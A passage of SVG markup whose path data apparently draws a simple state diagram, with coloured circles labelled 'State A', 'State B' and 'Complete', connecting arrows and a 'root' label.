54.12131l0 0c0 -15.925255 12.909968 -28.835222 28.83522 -28.835222l408.34528 0c7.647583 0 14.981934 3.0379887 20.389587 8.445642c5.407654 5.407654 8.445648 12.742004 8.445648 20.38958l0 115.33743c0 15.925247 -12.909973 28.83522 -28.835236 28.83522l-408.34528 0c-15.925253 0 -28.83522 -12.909973 -28.83522 -28.83522z" fill-rule="evenodd"/><path stroke="#006bb4" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m8.9921255 54.12131l0 0c0 -15.925255 12.909968 -28.835222 28.83522 -28.835222l408.34528 0c7.647583 0 14.981934 3.0379887 20.389587 8.445642c5.407654 5.407654 8.445648 12.742004 8.445648 20.38958l0 115.33743c0 15.925247 -12.909973 28.83522 -28.835236 28.83522l-408.34528 0c-15.925253 0 -28.83522 -12.909973 -28.83522 -28.83522z" fill-rule="evenodd"/><path fill="#ff7e62" d="m336.64825 111.78871l0 0c0 -36.31163 29.436401 -65.74803 65.74802 -65.74803l0 0c17.43747 0 34.160736 6.927002 46.490875 19.257153c12.33017 12.330147 19.257172 29.053413 19.257172 46.490875l0 0c0 36.31163 -29.436401 65.74803 -65.74805 65.74803l0 0c-36.311615 0 -65.74802 -29.436401 -65.74802 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m365.8967 74.15801l72.999176 0l0 19.363419l-72.999176 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m376.66232 81.65784l-1.40625 0q-0.125 -0.609375 -0.4375 -1.0625q-0.296875 -0.46875 -0.75 -0.78125q-0.4375 -0.3125 -0.96875 -0.46875q-0.53125 -0.171875 -1.109375 -0.171875q-1.0625 0 -1.921875 0.546875q-0.84375 0.53125 -1.359375 1.578125q-0.5 1.03125 -0.5 2.546875q0 1.5 0.5 2.546875q0.515625 1.03125 1.359375 1.578125q0.859375 0.53125 1.921875 0.53125q0.578125 0 1.109375 -0.15625q0.53125 -0.171875 0.96875 -0.484375q0.453125 -0.3125 0.75 -0.765625q0.3125 -0.46875 0.4375 -1.078125l1.40625 0q-0.15625 0.890625 -0.578125 1.609375q-0.421875 0.703125 -1.046875 1.1875q-0.625 0.484375 -1.40625 0.75q-0.765625 0.25 -1.640625 0.25q-1.484375 0 -2.65625 -0.71875q-1.15625 -0.734375 -1.828125 -2.078125q-0.65625 -1.34375 -0.65625 -3.171875q0 -1.84375 0.65625 -3.1875q0.671875 -1.34375 1.828125 -2.0625q1.171875 -0.734375 2.65625 -0.734375q0.875 0 1.640625 0.265625q0.78125 0.25 1.40625 0.75q0.625 0.484375 1.046875 1.1875q0.421875 0.703125 0.578125 1.59375zm5.6362305 8.1875q-1.171875 0 -2.0625 -0.5625q-0.890625 -0.5625 -1.390625 -1.578125q-0.5 -1.015625 -0.5 -2.359375q0 -1.375 0.5 -2.390625q0.5 -1.015625 1.390625 -1.578125q0.890625 -0.5625 2.0625 -0.5625q1.1875 0 2.078125 0.5625q0.890625 0.5625 1.390625 1.578125q0.5 1.015625 0.5 2.390625q0 1.34375 -0.5 2.359375q-0.5 1.015625 -1.390625 1.578125q-0.890625 0.5625 -2.078125 0.5625zm0 -1.203125q0.90625 0 1.484375 -0.453125q0.578125 -0.46875 0.859375 -1.21875q0.28125 -0.75 0.28125 -1.625q0 -0.875 -0.28125 -1.625q-0.28125 -0.765625 -0.859375 -1.234375q-0.578125 -0.46875 -1.484375 -0.46875q-0.890625 0 -1.46875 0.46875q-0.578125 0.46875 -0.859375 1.234375q-0.28125 0.75 -0.28125 1.625q0 0.875 0.28125 1.625q0.28125 0.75 0.859375 1.21875q0.578125 0.453125 1.46875 0.453125zm6.014099 1.015625l0 -8.734375l1.28125 0l0 1.375l0.125 0q0.265625 -0.703125 0.875 -1.09375q0.609375 -0.390625 1.46875 -0.390625q0.859375 0 1.4375 0.390625q0.578125 0.390625 0.890625 1.09375l0.09375 0q0.34375 -0.6875 1.0 -1.078125q0.671875 -0.40625 1.609375 -0.40625q1.171875 0 1.921875 0.734375q0.75 0.734375 0.75 2.265625l0 5.84375l-1.34375 0l0 -5.84375q0 -0.96875 -0.53125 -1.375q-0.53125 -0.421875 -1.25 -0.421875q-0.921875 0 -1.421875 0.5625q-0.5 0.546875 -0.5 1.390625l0 5.6875l-1.375 0l0 -5.984375q0 -0.734375 -0.484375 -1.1875q-0.46875 -0.46875 -1.234375 -0.46875q-0.53125 0 -0.984375 0.28125q-0.4375 0.28125 -0.71875 0.78125q-0.28125 0.484375 -0.28125 1.125l0 5.453125l-1.328125 0zm13.908936 3.265625l0 -12.0l1.28125 0l0 1.390625l0.171875 0q0.140625 -0.21875 0.40625 -0.578125q0.265625 -0.359375 0.765625 -0.640625q0.5 -0.28125 1.34375 -0.28125q1.109375 0 1.9375 0.5625q0.84375 0.546875 1.3125 1.5625q0.484375 1.0 0.484375 2.375q0 1.390625 -0.484375 2.40625q-0.46875 1.015625 -1.3125 1.578125q-0.828125 0.546875 -1.90625 0.546875q-0.84375 0 -1.359375 -0.28125q-0.5 -0.28125 -0.78125 -0.640625q-0.265625 -0.375 -0.40625 -0.609375l-0.125 0l0 4.609375l-1.328125 0zm1.3125 -7.625q0 0.984375 0.28125 1.734375q0.296875 0.75 0.84375 1.1875q0.5625 0.421875 1.375 0.421875q0.84375 0 1.40625 -0.453125q0.5625 -0.453125 0.84375 -1.203125q0.296875 -0.765625 0.296875 -1.6875q0 -0.921875 -0.28125 -1.65625q-0.28125 -0.75 -0.859375 -1.1875q-0.5625 -0.4375 -1.40625 -0.4375q-0.8125 0 -1.375 0.421875q-0.5625 0.40625 -0.84375 1.140625q-0.28125 0.734375 -0.28125 1.71875zm9.765533 -7.28125l0 11.640625l-1.328125 0l0 -11.640625l1.328125 0zm6.123535 11.828125q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm9.443054 -8.921875l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m438.89587 74.15801l0 0l0 19.363419l0 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m365.8967 90.69784l72.999176 0l0 1.4399948l-72.999176 0l0 -1.4399948z" fill-rule="nonzero"/><path fill="#f5a35c" d="m181.25017 111.78871l0 0c0 -36.31163 29.436401 -65.74803 65.74803 -65.74803l0 0c17.43747 0 34.160736 6.927002 46.490875 19.257153c12.33017 12.330147 19.257172 29.053413 19.257172 46.490875l0 0c0 36.31163 -29.436401 65.74803 -65.74805 65.74803l0 0c-36.31163 0 -65.74803 -29.436401 -65.74803 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m219.49852 74.15801l54.999374 0l0 19.363419l-54.999374 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m227.26414 80.92346q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.3437653 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.7343903 0l0 -1.15625l5.3750153 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53126526 -0.34375 -1.2656403 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.95314026 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.5781403 0.28125zm10.333664 -0.1875l0 -11.640625l4.078125 0q1.203125 0 1.984375 0.421875q0.796875 0.421875 1.1875 1.125q0.390625 0.703125 0.390625 1.546875q0 0.75 -0.265625 1.25q-0.265625 0.484375 -0.703125 0.765625q-0.421875 0.28125 -0.921875 0.421875l0 0.109375q0.53125 0.03125 1.0625 0.375q0.546875 0.34375 0.90625 0.984375q0.375 0.625 0.375 1.546875q0 0.875 -0.40625 1.578125q-0.390625 0.703125 -1.25 1.109375q-0.859375 0.40625 -2.234375 0.40625l-4.203125 0zm1.40625 -1.25l2.796875 0q1.390625 0 1.96875 -0.53125q0.578125 -0.546875 0.578125 -1.3125q0 -0.59375 -0.296875 -1.09375q-0.296875 -0.5 -0.859375 -0.796875q-0.5625 -0.3125 -1.3125 -0.3125l-2.875 0l0 4.046875zm0 -5.265625l2.625 0q0.625 0 1.140625 -0.25q0.515625 -0.25 0.8125 -0.703125q0.3125 -0.46875 0.3125 -1.078125q0 -0.765625 -0.53125 -1.296875q-0.53125 -0.546875 -1.6875 -0.546875l-2.671875 0l0 3.875z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m274.4979 74.15801l0 0l0 19.363419l0 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m219.49852 90.69784l54.999374 0l0 1.4399948l-54.999374 0l0 -1.4399948z" fill-rule="nonzero"/><path fill="#6dccb1" d="m25.8521 111.78871l0 0c0 -36.31163 29.436398 -65.74803 65.74803 -65.74803l0 0c17.437462 0 34.16073 6.927002 46.490883 19.257153c12.330139 12.330147 19.257141 29.053413 19.257141 46.490875l0 0c0 36.31163 -29.436394 65.74803 -65.748024 65.74803l0 0c-36.311638 0 -65.74803 -29.436401 -65.74803 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m63.89591 74.15801l55.408443 0l0 19.363419l-55.408443 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m71.66154 80.92346q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm10.818016 -0.1875l-1.4843674 0l4.2812424 -11.640625l1.453125 0l4.265625 11.640625l-1.46875 0l-3.484375 -9.796875l-0.09375 0l-3.46875 9.796875zm0.546875 -4.546875l5.953125 0l0 1.25l-5.953125 0l0 -1.25z" fill-rule="nonzero"/><path fill="#010000" fill-opacity="0.0" d="m119.30435 74.15801l0 0l0 19.363419l0 0l0 -19.363419z" fill-rule="nonzero"/><path fill="#ffffff" d="m63.89591 90.69784l55.40845 0l0 1.4399948l-55.40845 0l0 -1.4399948z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m157.34816 111.78871l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m157.34818 111.78871l11.905502 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m169.25368 115.09218l9.076187 -3.3034668l-9.076187 -3.3034592z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m312.74625 111.78871l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m312.74625 111.78871l11.905518 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m324.65176 115.09218l9.076202 -3.3034668l-9.076202 -3.3034592z" fill-rule="evenodd"/><path fill="#ffffff" d="m212.00525 12.783509l69.98425 0l0 25.165356l-69.98425 0z" fill-rule="evenodd"/><path fill="#006bb4" d="m232.14243 32.286186l0 -9.671877l1.46875 0l0 1.46875q0.5625 -1.03125 1.03125 -1.359375q0.484375 -0.328125 1.0625 -0.328125q0.828125 0 1.6875 0.53125l-0.5625 1.515625q-0.609375 -0.359375 -1.203125 -0.359375q-0.546875 0 -0.96875 0.328125q-0.421875 0.328125 -0.609375 0.890625q-0.28125 0.875 -0.28125 1.921875l0 5.062502l-1.625 0zm5.618927 -4.843752q0 -2.6875 1.484375 -3.96875q1.25 -1.078125 3.046875 -1.078125q2.0 0 3.265625 1.3125q1.265625 1.296875 1.265625 3.609375q0 1.859375 -0.5625 2.9375q-0.5625 1.0625 -1.640625 1.65625q-1.0625 0.5937519 -2.328125 0.5937519q-2.03125 0 -3.28125 -1.2968769q-1.25 -1.3125 -1.25 -3.765625zm1.6875 0q0 1.859375 0.796875 2.796875q0.8125 0.921875 2.046875 0.921875q1.21875 0 2.03125 -0.921875q0.8125 -0.9375 0.8125 -2.84375q0 -1.796875 -0.8125 -2.71875q-0.8125 -0.921875 -2.03125 -0.921875q-1.234375 0 -2.046875 0.921875q-0.796875 0.90625 -0.796875 2.765625zm8.688217 0q0 -2.6875 1.484375 -3.96875q1.25 -1.078125 3.046875 -1.078125q2.0 0 3.265625 1.3125q1.2656097 1.296875 1.2656097 3.609375q0 1.859375 -0.5625 2.9375q-0.5625 1.0625 -1.6406097 1.65625q-1.0625 0.5937519 -2.328125 0.5937519q-2.03125 0 -3.28125 -1.2968769q-1.25 -1.3125 -1.25 -3.765625zm1.6875 0q0 1.859375 0.796875 2.796875q0.8125 0.921875 2.046875 0.921875q1.21875 0 2.03125 -0.921875q0.8125 -0.9375 0.8125 -2.84375q0 -1.796875 -0.8125 -2.71875q-0.8125 -0.921875 -2.03125 -0.921875q-1.234375 0 -2.046875 0.921875q-0.796875 0.90625 -0.796875 2.765625zm12.875717 3.375l0.234375 1.4531269q-0.6875 0.140625 -1.234375 0.140625q-0.890625 0 -1.390625 -0.28125q-0.484375 -0.2812519 -0.6875 -0.7343769q-0.203125 -0.46875 -0.203125 -1.9375l0 -5.578125l-1.203125 0l0 -1.265625l1.203125 0l0 -2.390625l1.625 -0.984375l0 3.375l1.65625 0l0 1.265625l-1.65625 0l0 5.671875q0 0.6875 0.078125 0.890625q0.09375 0.203125 0.28125 0.328125q0.203125 0.109375 0.578125 0.109375q0.265625 0 0.71875 -0.0625z" fill-rule="nonzero"/><path fill="#ff7e62" d="m336.64825 311.3399l0 0c0 -36.311646 29.436401 -65.74805 65.74802 -65.74805l0 0c17.43747 0 34.160736 6.927017 46.490875 19.257172c12.33017 12.330139 19.257172 29.053406 19.257172 46.490875l0 0c0 36.311615 -29.436401 65.74802 -65.74805 65.74802l0 0c-36.311615 0 -65.74802 -29.436401 -65.74802 -65.74802z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m365.8967 273.7092l72.999176 0l0 19.363403l-72.999176 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m376.66232 281.209l-1.40625 0q-0.125 -0.609375 -0.4375 -1.0625q-0.296875 -0.46875 -0.75 -0.78125q-0.4375 -0.3125 -0.96875 -0.46875q-0.53125 -0.171875 -1.109375 -0.171875q-1.0625 0 -1.921875 0.546875q-0.84375 0.53125 -1.359375 1.578125q-0.5 1.03125 -0.5 2.546875q0 1.5 0.5 2.546875q0.515625 1.03125 1.359375 1.578125q0.859375 0.53125 1.921875 0.53125q0.578125 0 1.109375 -0.15625q0.53125 -0.171875 0.96875 -0.484375q0.453125 -0.3125 0.75 -0.765625q0.3125 -0.46875 0.4375 -1.078125l1.40625 0q-0.15625 0.890625 -0.578125 1.609375q-0.421875 0.703125 -1.046875 1.1875q-0.625 0.484375 -1.40625 0.75q-0.765625 0.25 -1.640625 0.25q-1.484375 0 -2.65625 -0.71875q-1.15625 -0.734375 -1.828125 -2.078125q-0.65625 -1.34375 -0.65625 -3.171875q0 -1.84375 0.65625 -3.1875q0.671875 -1.34375 1.828125 -2.0625q1.171875 -0.734375 2.65625 -0.734375q0.875 0 1.640625 0.265625q0.78125 0.25 1.40625 0.75q0.625 0.484375 1.046875 1.1875q0.421875 0.703125 0.578125 1.59375zm5.6362305 8.1875q-1.171875 0 -2.0625 -0.5625q-0.890625 -0.5625 -1.390625 -1.578125q-0.5 -1.015625 -0.5 -2.359375q0 -1.375 0.5 -2.390625q0.5 -1.015625 1.390625 -1.578125q0.890625 -0.5625 2.0625 -0.5625q1.1875 0 2.078125 0.5625q0.890625 0.5625 1.390625 1.578125q0.5 1.015625 0.5 2.390625q0 1.34375 -0.5 2.359375q-0.5 1.015625 -1.390625 1.578125q-0.890625 0.5625 -2.078125 0.5625zm0 -1.203125q0.90625 0 1.484375 -0.453125q0.578125 -0.46875 0.859375 -1.21875q0.28125 -0.75 0.28125 -1.625q0 -0.875 -0.28125 -1.625q-0.28125 -0.765625 -0.859375 -1.234375q-0.578125 -0.46875 -1.484375 -0.46875q-0.890625 0 -1.46875 0.46875q-0.578125 0.46875 -0.859375 1.234375q-0.28125 0.75 -0.28125 1.625q0 0.875 0.28125 1.625q0.28125 0.75 0.859375 1.21875q0.578125 0.453125 1.46875 0.453125zm6.014099 1.015625l0 -8.734375l1.28125 0l0 1.375l0.125 0q0.265625 -0.703125 0.875 -1.09375q0.609375 -0.390625 1.46875 -0.390625q0.859375 0 1.4375 0.390625q0.578125 0.390625 0.890625 1.09375l0.09375 0q0.34375 -0.6875 1.0 -1.078125q0.671875 -0.40625 1.609375 -0.40625q1.171875 0 1.921875 0.734375q0.75 0.734375 0.75 2.265625l0 5.84375l-1.34375 0l0 -5.84375q0 -0.96875 -0.53125 -1.375q-0.53125 -0.421875 